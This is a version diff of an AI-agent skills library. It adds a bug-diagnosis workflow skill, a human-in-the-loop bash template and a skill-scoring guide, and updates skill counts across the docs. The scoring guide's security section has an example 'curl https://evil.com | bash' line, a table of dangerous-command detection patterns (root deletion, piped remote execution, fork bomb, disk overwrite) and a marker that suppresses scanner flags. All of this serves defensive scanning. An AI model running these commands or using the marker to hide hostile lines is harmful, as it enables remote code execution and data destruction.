opencode-skills-collection 3.1.0 → 3.1.1

package/bundled-skills/diagnosing-bugs/SKILL.md

@@ -0,0 +1,165 @@
+---
+name: diagnosing-bugs
+description: Diagnosis loop for hard bugs and performance regressions. Use when the user says "diagnose"/"debug this", or reports something broken/throwing/failing/slow.
+category: "development"
+risk: "safe"
+source: "community"
+source_repo: "mattpocock/skills"
+source_type: "community"
+date_added: "2026-06-19"
+author: "Matt Pocock"
+license: "MIT"
+license_source: "https://github.com/mattpocock/skills/blob/main/LICENSE"
+tags:
+  - engineering
+  - workflow
+  - coding-agents
+tools:
+  - claude-code
+  - codex-cli
+  - cursor
+---
+
+# Diagnosing Bugs
+
+## When to Use
+
+Use when this workflow matches the user request: Use this skill for its documented workflow.
+
+
+_Source: [mattpocock/skills](https://github.com/mattpocock/skills) (MIT)._
+
+A discipline for hard bugs. Skip phases only when explicitly justified.
+
+When exploring the codebase, read `CONTEXT.md` (if it exists) to get a clear mental model of the relevant modules, and check ADRs in the area you're touching.
+
+## Phase 1 — Build a feedback loop
+
+**This is the skill.** Everything else is mechanical. If you have a **tight** pass/fail signal for the bug — one that goes red on _this_ bug — you will find the cause; bisection, hypothesis-testing, and instrumentation all just consume it. If you don't have one, no amount of staring at code will save you.
+
+Spend disproportionate effort here. **Be aggressive. Be creative. Refuse to give up.**
+
+### Ways to construct one — try them in roughly this order
+
+1. **Failing test** at whatever seam reaches the bug — unit, integration, e2e.
+2. **Curl / HTTP script** against a running dev server.
+3. **CLI invocation** with a fixture input, diffing stdout against a known-good snapshot.
+4. **Headless browser script** (Playwright / Puppeteer) — drives the UI, asserts on DOM/console/network.
+5. **Replay a captured trace.** Save a real network request / payload / event log to disk; replay it through the code path in isolation.
+6. **Throwaway harness.** Spin up a minimal subset of the system (one service, mocked deps) that exercises the bug code path with a single function call.
+7. **Property / fuzz loop.** If the bug is "sometimes wrong output", run 1000 random inputs and look for the failure mode.
+8. **Bisection harness.** If the bug appeared between two known states (commit, dataset, version), automate "boot at state X, check, repeat" so you can `git bisect run` it.
+9. **Differential loop.** Run the same input through old-version vs new-version (or two configs) and diff outputs.
+10. **HITL bash script.** Last resort. If a human must click, drive _them_ with `scripts/hitl-loop.template.sh` so the loop is still structured. Captured output feeds back to you.
+
+Build the right feedback loop, and the bug is 90% fixed.
+
+### Tighten the loop
+
+Treat the loop as a product. Once you have _a_ loop, **tighten** it:
+
+- Can I make it faster? (Cache setup, skip unrelated init, narrow the test scope.)
+- Can I make the signal sharper? (Assert on the specific symptom, not "didn't crash".)
+- Can I make it more deterministic? (Pin time, seed RNG, isolate filesystem, freeze network.)
+
+A 30-second flaky loop is barely better than no loop; a 2-second deterministic one is tight — a debugging superpower.
+
+### Non-deterministic bugs
+
+The goal is not a clean repro but a **higher reproduction rate**. Loop the trigger 100×, parallelise, add stress, narrow timing windows, inject sleeps. A 50%-flake bug is debuggable; 1% is not — keep raising the rate until it's debuggable.
+
+### When you genuinely cannot build a loop
+
+Stop and say so explicitly. List what you tried. Ask the user for: (a) access to whatever environment reproduces it, (b) a captured artifact (HAR file, log dump, core dump, screen recording with timestamps), or (c) permission to add temporary production instrumentation. Do **not** proceed to hypothesise without a loop.
+
+### Completion criterion — a tight loop that goes red
+
+Phase 1 is done when the loop is **tight** and **red-capable**: you can name **one command** — a script path, a test invocation, a curl — that you have **already run at least once** (paste the invocation and its output), and that is:
+
+- [ ] **Red-capable** — it drives the actual bug code path and asserts the **user's exact symptom**, so it can go red on this bug and green once fixed. Not "runs without erroring" — it must be able to _catch this specific bug_.
+- [ ] **Deterministic** — same verdict every run (flaky bugs: a pinned, high reproduction rate, per above).
+- [ ] **Fast** — seconds, not minutes.
+- [ ] **Agent-runnable** — you can run it unattended; a human in the loop only via `scripts/hitl-loop.template.sh`.
+
+If you catch yourself reading code to build a theory before this command exists, **stop — jumping straight to a hypothesis is the exact failure this skill prevents.** No red-capable command, no Phase 2.
+
+## Phase 2 — Reproduce + minimise
+
+Run the loop. Watch it go red — the bug appears.
+
+Confirm:
+
+- [ ] The loop produces the failure mode the **user** described — not a different failure that happens to be nearby. Wrong bug = wrong fix.
+- [ ] The failure is reproducible across multiple runs (or, for non-deterministic bugs, reproducible at a high enough rate to debug against).
+- [ ] You have captured the exact symptom (error message, wrong output, slow timing) so later phases can verify the fix actually addresses it.
+
+### Minimise
+
+Once it's red, shrink the repro to the **smallest scenario that still goes red**. Cut inputs, callers, config, data, and steps **one at a time**, re-running the loop after each cut — keep only what's load-bearing for the failure.
+
+Why bother: a minimal repro shrinks the hypothesis space in Phase 3 (fewer moving parts left to suspect) and becomes the clean regression test in Phase 5.
+
+Done when **every remaining element is load-bearing** — removing any one of them makes the loop go green.
+
+Do not proceed until you have reproduced **and** minimised.
+
+## Phase 3 — Hypothesise
+
+Generate **3–5 ranked hypotheses** before testing any of them. Single-hypothesis generation anchors on the first plausible idea.
+
+Each hypothesis must be **falsifiable**: state the prediction it makes.
+
+> Format: "If <X> is the cause, then <changing Y> will make the bug disappear / <changing Z> will make it worse."
+
+If you cannot state the prediction, the hypothesis is a vibe — discard or sharpen it.
+
+**Show the ranked list to the user before testing.** They often have domain knowledge that re-ranks instantly ("we just deployed a change to #3"), or know hypotheses they've already ruled out. Cheap checkpoint, big time saver. Don't block on it — proceed with your ranking if the user is AFK.
+
+## Phase 4 — Instrument
+
+Each probe must map to a specific prediction from Phase 3. **Change one variable at a time.**
+
+Tool preference:
+
+1. **Debugger / REPL inspection** if the env supports it. One breakpoint beats ten logs.
+2. **Targeted logs** at the boundaries that distinguish hypotheses.
+3. Never "log everything and grep".
+
+**Tag every debug log** with a unique prefix, e.g. `[DEBUG-a4f2]`. Cleanup at the end becomes a single grep. Untagged logs survive; tagged logs die.
+
+**Perf branch.** For performance regressions, logs are usually wrong. Instead: establish a baseline measurement (timing harness, `performance.now()`, profiler, query plan), then bisect. Measure first, fix second.
+
+## Phase 5 — Fix + regression test
+
+Write the regression test **before the fix** — but only if there is a **correct seam** for it.
+
+A correct seam is one where the test exercises the **real bug pattern** as it occurs at the call site. If the only available seam is too shallow (single-caller test when the bug needs multiple callers, unit test that can't replicate the chain that triggered the bug), a regression test there gives false confidence.
+
+**If no correct seam exists, that itself is the finding.** Note it. The codebase architecture is preventing the bug from being locked down. Flag this for the next phase.
+
+If a correct seam exists:
+
+1. Turn the minimised repro into a failing test at that seam.
+2. Watch it fail.
+3. Apply the fix.
+4. Watch it pass.
+5. Re-run the Phase 1 feedback loop against the original (un-minimised) scenario.
+
+## Phase 6 — Cleanup + post-mortem
+
+Required before declaring done:
+
+- [ ] Original repro no longer reproduces (re-run the Phase 1 loop)
+- [ ] Regression test passes (or absence of seam is documented)
+- [ ] All `[DEBUG-...]` instrumentation removed (`grep` the prefix)
+- [ ] Throwaway prototypes deleted (or moved to a clearly-marked debug location)
+- [ ] The hypothesis that turned out correct is stated in the commit / PR message — so the next debugger learns
+
+**Then ask: what would have prevented this bug?** If the answer involves architectural change (no good test seam, tangled callers, hidden coupling) hand off to the `/improve-codebase-architecture` skill with the specifics. Make the recommendation **after** the fix is in, not before — you have more information now than when you started.
+
+
+## Limitations
+
+- Requires the upstream tool, account, API key, or local setup when the workflow names one.
+- Does not authorize destructive, production, paid, or external-message actions without explicit user approval.
+- Validate generated artifacts or recommendations against the user's real sources before treating them as final.

package/bundled-skills/diagnosing-bugs/scripts/hitl-loop.template.sh

@@ -0,0 +1,41 @@
+#!/usr/bin/env bash
+# Human-in-the-loop reproduction loop.
+# Copy this file, edit the steps below, and run it.
+# The agent runs the script; the user follows prompts in their terminal.
+#
+# Usage:
+#   bash hitl-loop.template.sh
+#
+# Two helpers:
+#   step "<instruction>"          → show instruction, wait for Enter
+#   capture VAR "<question>"      → show question, read response into VAR
+#
+# At the end, captured values are printed as KEY=VALUE for the agent to parse.
+
+set -euo pipefail
+
+step() {
+  printf '\n>>> %s\n' "$1"
+  read -r -p "    [Enter when done] " _
+}
+
+capture() {
+  local var="$1" question="$2" answer
+  printf '\n>>> %s\n' "$question"
+  read -r -p "    > " answer
+  printf -v "$var" '%s' "$answer"
+}
+
+# --- edit below ---------------------------------------------------------
+
+step "Open the app at http://localhost:3000 and sign in."
+
+capture ERRORED "Click the 'Export' button. Did it throw an error? (y/n)"
+
+capture ERROR_MSG "Paste the error message (or 'none'):"
+
+# --- edit above ---------------------------------------------------------
+
+printf '\n--- Captured ---\n'
+printf 'ERRORED=%s\n' "$ERRORED"
+printf 'ERROR_MSG=%s\n' "$ERROR_MSG"

package/bundled-skills/docs/contributors/skill-scoring.md

@@ -0,0 +1,235 @@
+# Skill Quality Scoring
+
+This document describes the optional skill quality scoring system introduced in the
+AI Skill Registry Validation Framework.
+
+Scores are **informational only** — they never block skill usage, CI pipelines,
+or PR merges. They exist to help contributors understand the quality of their
+skills and to help maintainers prioritize improvements.
+
+---
+
+## Overview
+
+Each skill receives a **total score** between 0 and 100, computed as a weighted
+average of three dimensions:
+
+| Dimension       | Weight | What it measures |
+|-----------------|--------|------------------|
+| Metadata        | 30%    | Frontmatter completeness and correctness |
+| Documentation   | 40%    | Section coverage, code examples, content depth |
+| Security        | 30%    | Absence of dangerous command patterns |
+
+---
+
+## Quality Labels
+
+| Label             | Score Range | Meaning |
+|-------------------|-------------|---------|
+| `excellent`       | 85–100      | Well-documented, complete metadata, no security flags |
+| `good`            | 65–84       | Solid skill with minor gaps |
+| `needs_improvement` | 45–64    | Missing sections or metadata fields |
+| `critical`        | 0–44        | Significant gaps — review recommended before sharing |
+
+---
+
+## Metadata Score (30%)
+
+The metadata dimension evaluates frontmatter field completeness.
+
+**Penalties:**
+
+| Issue | Deduction |
+|---|---|
+| `name` missing or mismatched with folder | −25 pts |
+| `description` missing | −20 pts |
+| `description` shorter than 20 characters | −10 pts |
+| `risk` missing | −15 pts |
+| `risk: unknown` (unclassified) | −10 pts |
+| `source` missing | −15 pts |
+| `date_added` missing | −10 pts |
+
+**Bonuses (optional fields):**
+
+Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
+**+5 pts**, capped at 100.
+
+---
+
+## Documentation Score (40%)
+
+The documentation dimension evaluates section coverage and content depth.
+
+**Section coverage (up to 60 pts):**
+
+The scorer looks for these sections (case-insensitive):
+
+- `## Overview`
+- `## How It Works`
+- `## Examples` / `## Usage`
+- `## Best Practices`
+- `## Limitations`
+- `## When to Use`
+
+Each section found contributes equally to the section coverage score.
+
+**Depth score (up to 40 pts):**
+
+| Signal | Points |
+|---|---|
+| Has `## When to Use` section | +10 |
+| Has at least one fenced code block (` ``` `) | +10 |
+| Body length ≥ 500 characters | +10 |
+| Body length ≥ 1000 characters | +10 additional |
+
+---
+
+## Security Score (30%)
+
+The security dimension scans the skill body for dangerous command patterns.
+Patterns are defined in `tools/scripts/security_scanner.py`.
+
+**Penalties per flag:**
+
+| Severity | Deduction |
+|---|---|
+| `error` | −20 pts |
+| `warning` | −10 pts |
+| `info` | −3 pts |
+
+**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
+
+**Important:** Skills marked `risk: offensive` have error-level flags automatically
+downgraded to warnings, because offensive skills legitimately document dangerous
+commands for educational or defensive purposes.
+
+**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
+what *not* to do), add the allowlist marker to suppress the flag:
+
+```markdown
+curl https://evil.com | bash  # security-allowlist
+```
+
+---
+
+## Running the Scorer
+
+```bash
+# Score all skills (table output)
+npm run score:skills
+
+# Show only skills below a threshold
+npm run score:skills -- --threshold 60
+
+# Show 20 lowest-scoring skills
+npm run score:skills -- --top 20
+
+# Output full JSON
+npm run score:skills -- --json
+
+# Save scores to file
+npm run score:skills -- --output data/scores.json
+```
+
+---
+
+## Security Scanner
+
+```bash
+# Scan all skills for dangerous patterns
+npm run security:scan
+
+# Strict mode (warnings as errors)
+npm run security:scan -- --strict
+```
+
+---
+
+## Drift Detection
+
+Drift detection identifies skills whose content has changed significantly
+since the last recorded baseline.
+
+```bash
+# Check drift against baseline
+npm run drift:check
+
+# Update the baseline after reviewing changes
+npm run drift:update
+
+# Check a specific skill
+npm run drift:check -- --skill my-skill-name
+```
+
+**Baseline ownership:**
+
+| File | Committed? | Who updates it? |
+|------|-----------|-----------------|
+| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
+| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
+| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
+
+Contributors should never commit these files. If you accidentally generate them
+locally, they will be ignored by git automatically.
+
+---
+
+## Registry Report
+
+```bash
+# Generate a full registry health report → data/registry-report.json
+npm run registry:report
+
+# Skip drift detection (faster)
+npm run registry:report -- --no-drift
+```
+
+The report includes:
+- Aggregate scoring summary
+- Per-skill scores and flags
+- Drift summary (added / removed / modified skills)
+- Risk breakdown
+- Security flag counts
+
+---
+
+## Security Patterns Reference
+
+| Code   | Pattern | Severity | Description |
+|--------|---------|----------|-------------|
+| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
+| SEC002 | `curl \| bash` | error | Remote code execution |
+| SEC003 | `wget \| sh` | error | Remote code execution |
+| SEC004 | `Invoke-Expression` | error | PowerShell RCE |
+| SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
+| SEC006 | `chmod 7xx` | warning | World-writable permissions |
+| SEC007 | `eval(` | warning | Dynamic evaluation |
+| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
+| SEC009 | Hardcoded credential | error | Secrets in source |
+| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
+| SEC011 | Fork bomb | error | Infinite process spawner |
+| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
+
+---
+
+## Frequently Asked Questions
+
+**Q: Will a low score prevent my skill from being merged?**
+
+No. Scores are informational. The existing `validate_skills.py` checks are what
+gate merges.
+
+**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
+
+Add `# security-allowlist` at the end of the line showing the dangerous pattern.
+This follows the existing project convention for educational examples.
+
+**Q: Why is documentation weighted higher than metadata?**
+
+Documentation quality has the highest impact on how useful a skill is to end users.
+Complete metadata is valuable but less critical than clear instructions.
+
+**Q: How does `risk: offensive` affect scoring?**
+
+Security error flags are downgraded to warnings for offensive skills, because they
+legitimately document dangerous techniques for authorized security work.

package/bundled-skills/docs/integrations/jetski-cortex.md

@@ -1,9 +1,9 @@
 ---
 title: Jetski/Cortex + Gemini Integration Guide
-description: "Use antigravity-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,595+ skills."
+description: "Use antigravity-awesome-skills with Jetski/Cortex without hitting context-window overflow with 1,678+ skills."
 ---
 
-# Jetski/Cortex + Gemini: safe integration with 1,595+ skills
+# Jetski/Cortex + Gemini: safe integration with 1,678+ skills
 
 This guide shows how to integrate the `antigravity-awesome-skills` repository with an agent based on **Jetski/Cortex + Gemini** (or similar frameworks) **without exceeding the model context window**.
 
@@ -23,7 +23,7 @@ Never do:
 - concatenate all `SKILL.md` content into a single system prompt;
 - re-inject the entire library for **every** request.
 
-With 1,595+ skills, this approach fills the context window before user messages are even added, causing truncation.
+With 1,678+ skills, this approach fills the context window before user messages are even added, causing truncation.
 
 ---
 

package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md

@@ -21,7 +21,7 @@ This example shows one way to integrate **antigravity-awesome-skills** with a Je
 - How to enforce a **maximum number of skills per turn** via `maxSkillsPerTurn`.
 - How to choose whether to **truncate or error** when too many skills are requested via `overflowBehavior`.
 
-This pattern avoids context overflow when you have 1,595+ skills installed.
+This pattern avoids context overflow when you have 1,678+ skills installed.
 
 Manifest contract references:
 

package/bundled-skills/docs/maintainers/repo-growth-seo.md

@@ -6,7 +6,7 @@ This document keeps the repository's GitHub-facing discovery copy aligned with t
 
 Preferred positioning:
 
-> Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.
+> Installable GitHub library of 1,678+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and other AI coding assistants.
 
 Key framing:
 
@@ -20,7 +20,7 @@ Key framing:
 
 Preferred description:
 
-> Installable GitHub library of 1,595+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.
+> Installable GitHub library of 1,678+ agentic skills for Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity, and more. Includes installer CLI, bundles, workflows, and official/community skill collections.
 
 Preferred homepage:
 
@@ -28,7 +28,7 @@ Preferred homepage:
 
 Preferred social preview:
 
-- use a clean preview image that says `1,595+ Agentic Skills`;
+- use a clean preview image that says `1,678+ Agentic Skills`;
 - mention Claude Code, Cursor, Codex CLI, and Gemini CLI;
 - avoid dense text and tiny logos that disappear in social cards.
 

package/bundled-skills/docs/maintainers/skills-update-guide.md

@@ -72,7 +72,7 @@ The update process refreshes:
 - Canonical skills index (`skills_index.json`)
 - Compatibility mirror (`data/skills_index.json`)
 - Web app skills data (`apps\web-app\public\skills.json`)
-- All 1,595+ skills from the skills directory
+- All 1,678+ skills from the skills directory
 
 ## When to Update
 

package/bundled-skills/docs/users/bundles.md

@@ -917,4 +917,4 @@ Found a skill that should be in a bundle? Or want to create a new bundle? [Open
 
 ---
 
-_Last updated: March 2026 | Total Skills: 1,595+ | Total Bundles: 52_
+_Last updated: March 2026 | Total Skills: 1,678+ | Total Bundles: 52_

package/bundled-skills/docs/users/claude-code-skills.md

@@ -12,7 +12,7 @@ Install the library into Claude Code, then invoke focused skills directly in the
 
 ## Why use this repo for Claude Code
 
-- It includes 1,595+ skills instead of a narrow single-domain starter pack.
+- It includes 1,678+ skills instead of a narrow single-domain starter pack.
 - It supports the standard `.claude/skills/` path and the Claude Code plugin marketplace flow.
 - It also ships generated bundle plugins so teams can install focused packs like `Essentials` or `Security Developer` from the marketplace metadata.
 - It includes onboarding docs, bundles, and workflows so new users do not need to guess where to begin.

package/bundled-skills/docs/users/gemini-cli-skills.md

@@ -12,7 +12,7 @@ Install into the Gemini skills path, then ask Gemini to apply one skill at a tim
 
 - It installs directly into the expected Gemini skills path.
 - It includes both core software engineering skills and deeper agent/LLM-oriented skills.
-- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,595+ files.
+- It helps new users get started with bundles and workflows rather than forcing a cold start from 1,678+ files.
 - It is useful whether you want a broad internal skill library or a single repo to test many workflows quickly.
 
 ## Install Gemini CLI Skills

package/bundled-skills/docs/users/getting-started.md

@@ -1,4 +1,4 @@
-# Getting Started with Antigravity Awesome Skills (V12.8.0)
+# Getting Started with Antigravity Awesome Skills (V12.10.0)
 
 **New here? This guide will help you supercharge your AI Agent in 5 minutes.**
 

package/bundled-skills/docs/users/kiro-integration.md

@@ -18,7 +18,7 @@ Kiro is AWS's agentic AI IDE that combines:
 
 Kiro's agentic capabilities are enhanced by skills that provide:
 
-- **Domain expertise** across 1,595+ specialized areas
+- **Domain expertise** across 1,678+ specialized areas
 - **Best practices** from Anthropic, OpenAI, Google, Microsoft, and AWS
 - **Workflow automation** for common development tasks
 - **AWS-specific patterns** for serverless, infrastructure, and cloud architecture

package/bundled-skills/docs/users/usage.md

@@ -14,7 +14,7 @@ If you came in through a **Claude Code** or **Codex** plugin instead of a full l
 
 When you ran `npx antigravity-awesome-skills` or cloned the repository, you:
 
-✅ **Downloaded 1,595+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`)
+✅ **Downloaded 1,678+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`)
 ✅ **Made them available** to your AI assistant  
 ❌ **Did NOT enable them all automatically** (they're just sitting there, waiting)
 
@@ -34,7 +34,7 @@ Bundles are **curated groups** of skills organized by role. They help you decide
 
 **Analogy:**
 
-- You installed a toolbox with 1,595+ tools (✅ done)
+- You installed a toolbox with 1,678+ tools (✅ done)
 - Bundles are like **labeled organizer trays** saying: "If you're a carpenter, start with these 10 tools"
 - You can either **pick skills from the tray** or install that tray as a focused marketplace bundle plugin
 
@@ -212,7 +212,7 @@ Let's actually use a skill right now. Follow these steps:
 
 ## Step 5: Picking Your First Skills (Practical Advice)
 
-Don't try to use all 1,595+ skills at once. Here's a sensible approach:
+Don't try to use all 1,678+ skills at once. Here's a sensible approach:
 
 If you want a tool-specific starting point before choosing skills, use:
 
@@ -343,7 +343,7 @@ Usually no, but if your AI doesn't recognize a skill:
 
 ### "Can I load all skills into the model at once?"
 
-No. Even though you have 1,595+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block.
+No. Even though you have 1,678+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block.
 
 The intended pattern is:
 

package/bundled-skills/docs/users/visual-guide.md

@@ -34,7 +34,7 @@ antigravity-awesome-skills/
 ├── 📄 CONTRIBUTING.md                  ← Contributor workflow
 ├── 📄 CATALOG.md                       ← Full generated catalog
 │
-├── 📁 skills/                          ← 1,595+ skills live here
+├── 📁 skills/                          ← 1,678+ skills live here
 │   │
 │   ├── 📁 brainstorming/
 │   │   └── 📄 SKILL.md                 ← Skill definition
@@ -47,7 +47,7 @@ antigravity-awesome-skills/
 │   │   └── 📁 2d-games/
 │   │       └── 📄 SKILL.md             ← Nested skills also supported
 │   │
-│   └── ... (1,595+ total)
+│   └── ... (1,678+ total)
 │
 ├── 📁 apps/
 │   └── 📁 web-app/                     ← Interactive browser
@@ -100,7 +100,7 @@ antigravity-awesome-skills/
 
 ```
                     ┌─────────────────────────┐
-                    │  1,595+ SKILLS          │
+                    │  1,678+ SKILLS          │
                     └────────────┬────────────┘
                                  │
         ┌────────────────────────┼────────────────────────┐
@@ -201,7 +201,7 @@ If you want a workspace-style manual install instead, cloning into `.agent/skill
 │   ├── 📁 brainstorming/                 │
 │   ├── 📁 stripe-integration/            │
 │   ├── 📁 react-best-practices/          │
-│   └── ... (1,595+ total)                │
+│   └── ... (1,678+ total)                │
 └─────────────────────────────────────────┘
 ```